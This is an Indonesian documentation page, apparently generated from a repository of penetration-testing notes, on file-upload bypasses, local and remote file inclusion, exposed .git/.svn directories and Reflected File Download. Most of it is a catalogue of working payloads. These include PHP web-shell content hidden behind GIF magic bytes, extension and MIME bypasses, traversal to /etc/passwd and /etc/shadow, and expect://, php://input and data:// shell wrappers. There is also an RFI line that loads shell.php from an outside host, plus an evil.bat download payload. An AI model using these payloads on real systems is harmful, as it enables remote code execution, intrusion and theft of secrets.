Lompat ke konten
dokumentasi.id
Commit 0a16c9d
v2
Star6,9 rb

5

Penanganan Berkas dan Pengungkapan Kode Sumber

Halaman ini membahas lima catatan repository yang semuanya bersinggungan dengan berkas: berkas yang masuk lewat fitur unggah, berkas yang disertakan oleh parameter page, dan berkas yang seharusnya menetap di sisi server tetapi terbaca dari luar. Pola yang menghubungkan kelimanya sederhana: satu field form atau satu parameter menentukan berkas mana yang dipakai server, dan pemeriksaan pada titik itulah yang menentukan hasilnya.

Unggah Berkas Tanpa Validasi

Catatan menyebut Arbitrary File Upload sebagai celah yang membuat penyerang dapat menaruh berkas berbahaya di server. Titik yang disarankan untuk diperiksa adalah fitur unggah berkas, misalnya unggah foto profil. Arbitrary File Upload.md:4-7

Sembilan tips di catatan itu tidak berdiri sendiri, melainkan menyerang lapisan validasi yang berbeda-beda. Semua contoh request memakai POST /images/upload/ dengan nama field uploaded.

#Yang diubahNilai contohSasaran validasiRujukan
1header Content-Typeapplication/x-php diubah menjadi image/jpegpemeriksaan MIMEArbitrary File Upload.md:10-29
2ekstensi pada filenamedapos.php.jpg, lalu request diubah menjadi dapos.phpfilter ekstensiArbitrary File Upload.md:31-50
3isi berkasGIF89a; <?php system("id") ?> dikirim dengan Content-Type: image/gifpemeriksaan magic bytesArbitrary File Upload.md:52-64
4ukuran isi(<?=`$_GET[x]`?>)validasi content lengthArbitrary File Upload.md:66-69
5nama berkasfile.php%00.gifekstensi setelah null byteArbitrary File Upload.md:71-74
6nama berkasfile.jpg.phpekstensi gandaArbitrary File Upload.md:76-79
7ekstensifile.php5 — catatan menyebut php4, php5, php6, phtmldaftar ekstensi populerArbitrary File Upload.md:81-84
8kapitalisasi ekstensifile.pHP5pencocokan case-sensitiveArbitrary File Upload.md:86-89
9kombinasigabungan seluruh tips di atasbeberapa lapisan sekaligusArbitrary File Upload.md:91

Urutan request dari unggahan sampai eksekusi memakai nilai yang benar-benar tercatat di catatan: /images/upload/, dapos.php, image/jpeg, dan GIF89a.

sequenceDiagram
    autonumber
    participant A as Attacker
    participant U as Upload endpoint
    participant V as Validasi
    participant S as Server

    A->>U: POST /images/upload/ filename="dapos.php"
    U->>V: Content-Type: application/x-php
    V-->>A: ekstensi .php ditolak
    A->>U: filename="dapos.php.jpg"
    A->>U: Content-Type: image/jpeg
    V-->>U: lolos pemeriksaan ekstensi dan MIME
    A->>U: kirim ulang filename="dapos.php"
    U->>S: berkas .php tersimpan
    A->>S: GET berkas hasil unggah
    S-->>A: system('id') dieksekusi
%% fig: Siklus unggah berkas sampai eksekusi
%% desc: Request unggah melewati pemeriksaan ekstensi dan Content-Type lewat nama berkas ganda, lalu berkas yang tersimpan dipanggil untuk menjalankan perintah.
Fig. 1: Siklus unggah berkas sampai eksekusiRequest unggah melewati pemeriksaan ekstensi dan Content-Type lewat nama berkas ganda, lalu berkas yang tersimpan dipanggil untuk menjalankan perintah.

⚠️ Langkah 3 bukan variasi kosmetik: berkas berisi GIF89a; <?php system("id") ?> yang tersimpan di direktori yang dapat diakses web akan dieksekusi saat diminta lewat GET. Arbitrary File Upload.md:52-64

Penyertaan Berkas di Sisi Server

Local File Inclusion dan Remote File Inclusion di catatan ini menunjuk titik masuk yang sama: endpoint yang menyertakan berkas dari web server, contohnya /index.php?page=index.html. Pada LFI berkas diambil dari disk server, pada RFI skrip diambil dari host luar. Local File Inclusion.md:4-7 Remote File Inclusion.md:4-7

 graph TD
    P["/index.php?page=index.html"] --> L["../../../etc/passwd"]
    P --> R["http://daffa.info/shell.php"]
    L --> E["Encoding: %2e%2e%2f, %252e, %c0%ae, %00"]
    L --> T["Traversal unik: ....//, .%2e, %%32%65"]
    L --> W["Wrapper php:// dan zip://"]
    R --> F["RFI: http%3A%2F%2F, http%253A%252F%252F, %00"]
    W --> X["eksekusi perintah shell"]
    style P fill:#2d7d46,color:#fff
    style L fill:#336791,color:#fff
    style R fill:#f59e0b,color:#000
    style E fill:#f59e0b,color:#000
    style T fill:#f59e0b,color:#000
    style F fill:#f59e0b,color:#000
    style W fill:#8b5cf6,color:#fff
    style X fill:#dc2626,color:#fff
%% fig: Satu parameter include, dua arah pengambilan berkas
%% desc: Parameter page yang sama dapat diarahkan ke berkas lokal lewat traversal dan wrapper, atau ke skrip di host luar lewat RFI.
Fig. 2: Satu parameter include, dua arah pengambilan berkasParameter page yang sama dapat diarahkan ke berkas lokal lewat traversal dan wrapper, atau ke skrip di host luar lewat RFI.

Empat lapis encoding yang sama muncul di kedua catatan. RFI hanya memuat empat baris, sedangkan LFI menambahkan encoding UTF-8 dan beberapa trik traversal lain.

TeknikLFI (page=)RFI (page=)Rujukan
dasar../../../etc/passwdhttp://daffa.info/shell.phpLocal File Inclusion.md:10-14 Remote File Inclusion.md:10-13
URL encoding%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdhttp%3A%2F%2Fdaffa.info%2Fshell.phpLocal File Inclusion.md:16-19 Remote File Inclusion.md:15-18
double encoding%252e%252e%252f%252e%252e%252fetc%252fpasswdhttp%253A%252F%252Fdaffa.info%252Fshell.phpLocal File Inclusion.md:21-24 Remote File Inclusion.md:20-23
null byte../../../etc/passwd%00http://daffa.info/shell.php%00Local File Inclusion.md:31-34 Remote File Inclusion.md:25-28

LFI menambah satu lapis encoding lagi, yaitu UTF-8 (%c0%ae), yang ditulis sebagai %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd. Local File Inclusion.md:26-29

Dua trik menyiasati lapisan yang memotong atau menormalkan path. Pertama, traversal dimulai dari folder yang benar-benar ada sehingga awalan tidak dicurigai: scripts/../../../../../etc/passwd. Local File Inclusion.md:36-39 Kedua, path truncation memanjangkan path dengan pengulangan ./ sampai batas panjang terpotong, misalnya a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.. Local File Inclusion.md:41-45

Catatan juga menyimpan empat bentuk traversal yang tidak lolos filter biasa: ....//....//etc/passwd, ..///////..////..//////etc/passwd, /%5C../%5C../ dengan backslash ter-encode, dan /.%2e/.%2e/.%2e/.%2e/etc/passwd serta %%32%65 yang di-decode dua kali. Local File Inclusion.md:87-94

Ketika traversal saja tidak cukup, wrapper PHP menentukan bentuk keluaran maupun eksekusi. Local File Inclusion.md:47-51

WrapperPayloadEfekRujukan
php://filter rot13php://filter/read=string.rot13/resource=config.phpisi config.php dibaca dalam rot13Local File Inclusion.md:47-51
php://filter base64php://filter/convert.base64-encode/resource=config.phpisi berkas keluar sebagai base64Local File Inclusion.md:47-51
zlibphp://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow/etc/shadow dikompresi lalu di-encode base64Local File Inclusion.md:53-56
zipzip://shell.jpg%23payload.phppayload.php dijalankan dari arsip yang berekstensi .jpgLocal File Inclusion.md:58-66
datadata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+kode PHP dikirim di dalam URLLocal File Inclusion.md:68-71
expectexpect://lsperintah shell dijalankanLocal File Inclusion.md:73-76
inputPOST /index.php?page=php://input&cmd=lsbody request dibaca sebagai berkasLocal File Inclusion.md:78-85

Baris zip:// di tabel itu berasal dari blok perintah yang lebih panjang: payload ditulis ke payload.php, diarsipkan menjadi payload.zip, lalu diubah namanya menjadi shell.jpg sebelum dipanggil. Local File Inclusion.md:58-66

Karena RFI memuat skrip dari host luar, dampaknya bergantung pada kemampuan server menjangkau alamat tersebut. Sisi request yang dibuat server itu dibahas di Kontrol Akses dan Request Server Side.

Direktori VCS yang Terbuka

Kode sumber yang seharusnya tetap di sisi server kadang terbaca oleh pengguna. Catatan mengingatkan bahwa kode semacam itu dapat memuat password database dan secret key, dan bahan tersebut cukup untuk menyusun serangan lanjutan. Exposed Source Code.md:3-4

DirektoriContoh URLTool di catatanRujukan
Githttps://site.com/.gitgit-dumperExposed Source Code.md:10-17
Subversionhttps://site.com/.svnsvn-extractorExposed Source Code.md:19-26
Mercurialhttps://site.com/.hghg-dumperExposed Source Code.md:28-35
Bazaarhttp://target.com/.bzrbzr_dumperExposed Source Code.md:37-44
Darcshttp://target.com/_darcsbelum ada di catatan (Not found)Exposed Source Code.md:46-51
BitKeeperhttp://target.com/Bitkeeperbelum ada di catatan (Not found)Exposed Source Code.md:53-58

⚠️ Enumerasi .git, .svn, atau .hg bukan langkah pasif. Hasil dump berisi riwayat dan berkas konfigurasi yang dapat memuat password database serta secret key, dan hal itu diakui langsung oleh catatan. Exposed Source Code.md:3-4 Jika path tersebut dibalas 403, teknik pembukaannya ada di Teknik Bypass Kontrol.

Reflected File Download

Reflected File Download memperpanjang serangan refleksi keluar dari konteks browser: URL yang dibuat penyerang memaksa unduhan berkas dengan ekstensi apa pun, sehingga input yang ter-refleksi mendapat makna baru walaupun sudah di-escape dengan benar. Reflected File Download.md:3-4 Sisi browser dari input ter-refleksi dibahas di Kerentanan Sisi Klien dan Pengalihan URL.

Dua syarat harus terpenuhi sebelum teknik ini berlaku: ada input yang ter-refleksi, misalnya callback JSONP, dan nama berkas hasil unduhan dapat dikendalikan. Nama berkas bisa dikendalikan bila header Content-Disposition tidak memuat atribut filename, dan bila header itu tidak ada sama sekali, atribut download pada tag <a> dipakai sebagai jalur alternatif. Reflected File Download.md:7-20

graph LR
    I["input ter-refleksi (callback JSONP)"] --> C["nama berkas dapat dikendalikan"]
    C --> H["Content-Disposition tanpa atribut filename"]
    C --> D["atribut download pada tag a"]
    H --> U["unduhan otomatis"]
    D --> U
    U --> E["berkas .bat dijalankan pengguna"]
    style I fill:#2d7d46,color:#fff
    style C fill:#f59e0b,color:#000
    style H fill:#f59e0b,color:#000
    style D fill:#f59e0b,color:#000
    style U fill:#8b5cf6,color:#fff
    style E fill:#dc2626,color:#fff
%% fig: Dua jalur syarat Reflected File Download
%% desc: Input ter-refleksi dan kendali nama berkas bertemu di satu unduhan, baik lewat header Content-Disposition tanpa filename maupun atribut download pada tag a.
Fig. 3: Dua jalur syarat Reflected File DownloadInput ter-refleksi dan kendali nama berkas bertemu di satu unduhan, baik lewat header Content-Disposition tanpa filename maupun atribut download pada tag a.

Bentuk header dan tag yang dipakai catatan untuk menguji syarat tersebut:

Content-Disposition: attachment;
<a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>

Reflected File Download.md:7-20

Payload gabungannya menempatkan nama berkas dan callback pada satu URL. Browser akan mengunduh evil.bat, dan berkas itu menjalankan kalkulator ketika dibuka. Reflected File Download.md:24-28

http://example.com/api;/evil.bat;?callback=||calc||

⚠️ Escape pada input tidak menetralkan teknik ini, karena yang dieksploitasi adalah nama berkas dan tipe unduhan, bukan konteks HTML. Reflected File Download.md:3-4